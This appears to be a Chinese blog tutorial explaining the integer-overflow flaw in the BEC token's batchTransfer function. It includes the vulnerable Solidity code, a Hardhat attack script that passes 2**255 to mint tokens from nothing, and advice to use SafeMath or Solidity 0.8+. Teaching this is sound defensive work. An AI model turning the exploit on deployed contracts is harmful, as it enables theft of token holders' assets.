整型溢出是智能合约中常见的漏洞之一。以太坊虚拟机对整数使用固定大小的数据类型,一个整数变量仅能表示一个固定范围的数值,比如uint8类型只能保存[0,255]。当把超过某个数据类型范围的数值保存到这个变量时,就会产生溢出。例如将一个uint8类型,值为0的变量进行减1操作时,计算结果会等
整型溢出是智能合约中常见的漏洞之一。以太坊虚拟机对整数使用固定大小的数据类型,一个整数变量仅能表示一个固定范围的数值,比如uint8类型只能保存[0, 255]。当把超过某个数据类型范围的数值保存到这个变量时,就会产生溢出。例如
这种数字上的谬误会允许攻击者使用恶意代码来创造一些非预期的逻辑流程。
使用hardhat创建合约工程,scripts/attack.ts
为攻击流程演示代码,contracts/BecToken
为漏洞合约代码。这里的合约直接使用了美链(BEC)的合约代码。
部分合约代码:
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Pausable token
*
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
// batchTransfer函数存在漏洞
function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
uint cnt = _receivers.length;
// 这一行没有考虑整型溢出
uint256 amount = uint256(cnt) * _value;
require(cnt > 0 && cnt <= 20);
require(_value > 0 && balances[msg.sender] >= amount);
balances[msg.sender] = balances[msg.sender].sub(amount);
for (uint i = 0; i < cnt; i++) {
balances[_receivers[i]] = balances[_receivers[i]].add(_value);
Transfer(msg.sender, _receivers[i], _value);
}
return true;
}
}
攻击脚本代码:
import { ethers } from "hardhat";
async function main() {
// deploy
const [owner, attacker1, attacker2, attacker3] = await ethers.getSigners();
const BecToken = await ethers.getContractFactory("BecToken");
const becToken = await BecToken.connect(owner).deploy();
await becToken.deployed();
console.log(`BecToken deployed successfully. The address is ${becToken.address}`);
console.log('BecToken totalSupply:', await becToken.totalSupply());
// attack
console.log('[before]attacker1 token num:', await becToken.balanceOf(attacker1.address));
console.log('[before]attacker2 token num', await becToken.balanceOf(attacker2.address));
console.log('[before]attacker3 token num', await becToken.balanceOf(attacker3.address));
await becToken.connect(attacker1).batchTransfer([attacker2.address, attacker3.address], BigInt(2) ** BigInt(255));
console.log('[after]attacker2 token num', await becToken.balanceOf(attacker2.address));
console.log('[after]attacker3 token num', await becToken.balanceOf(attacker3.address));
}
main().catch((error) => {
console.error(error);
process.exitCode = 1;
});
batchTransfer
中 uint256 amount = uint256(cnt) * _value;
这一行代码。_value值为用户可控制的参数,却没有进行任何值的判断。攻击者可以轻松构造恶意参数请求,让uint256(cnt) * _value
溢出。batchTransfer
合约函数,传入两个账户地址attacker2.address attacker3.address
, 以及_value 2**255
uint256 amount = uint256(cnt) * _value;
发生乘法溢出,amount
的值为0,成功绕过了require(_value > 0 && balances[msg.sender] >= amount);
检查,向_receivers
地址转入2 ** 255
个token, 哪怕msg.sender(attacker1)
账户下只有0个token,没有2 ** 255
个token+ - * /
即可,发生溢出时会自动回退交易整型溢出是非常常见基础的智能合约漏洞,但在历史上也造成过巨额的资产损失。因此,合约开发人员还是要认真对待,使用SafeMath或使用Solidity0.8.0以上版本来预防整型溢出风险。
https://github.com/demo-box/blockchain-demo/tree/main/integerOverflow
https://etherscan.io/address/0xc5d105e63711398af9bbff092d4b6769c82f793d#code
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!